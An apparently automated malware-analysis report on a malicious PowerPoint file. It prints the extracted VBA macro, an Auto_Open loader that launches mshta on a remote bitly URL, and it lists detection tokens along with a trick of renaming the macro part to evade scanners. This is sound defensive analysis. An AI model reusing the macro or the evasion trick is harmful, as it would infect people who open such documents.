Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4150cc7738c2ae79…

MALICIOUS

Office (OOXML)

8.4 KB First seen: 2021-08-20
MD5: 4a0a89bf9d6c85bdda31553932f43ac6 SHA-1: b5362d3253f4a7a8f48ec142de2a0eb4877b21bf SHA-256: 4150cc7738c2ae7950a96fdb9dc5ed0ebdb86c1464af92849729849561b8f9b2
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an Auto_Open subroutine, which is automatically executed when the document is opened. This macro uses CreateObject to instantiate Shell.Application and then calls ShellExecute with a URL constructed from reversed strings. The reconstructed URL is 'https://www.bitly.com/adjcsdjcijscjsoksjmd', which is likely intended to download and execute a second-stage payload. The presence of the Auto_Open macro and the ShellExecute call strongly indicate a malicious intent to download and run further malware.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/sdtygcdrtyuh.b)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Outlook = CreateObject("Outlook.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Auto_Open _
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/adjcsdjcijscjsoksjmd In document text (OOXML body / shared strings)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 826 bytes
SHA-256: d736692815c15dd6978b1285fc22b33bda7990d9c8973a178dcbcbee1157996a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module111"

Sub _
Auto_Open _
()
Dim MsgBox As New topli
Set Outlook = CreateObject("Outlook.Application")

Set Microsoft = Outlook.CreateObject("Shell.Application")

Microsoft.ShellExecute MsgBox.mill, MsgBox.link





End _
Sub


Attribute VB_Name = "topli"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function mill()
o = StrReverse("M")
m = StrReverse("s")
l = StrReverse("H")
a = StrReverse("t")
i = StrReverse("A")
mill = o + m + l + a + i
End Function
Function link()
link = "https://www.bitly.com/adjcsdjcijscjsoksjmd"
End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/sdtygcdrtyuh.b 17920 bytes
SHA-256: 0c0dfb7eaba94ea0d5f3713847b2c3823862a2cfd6cd14a994c5fa6040e24527

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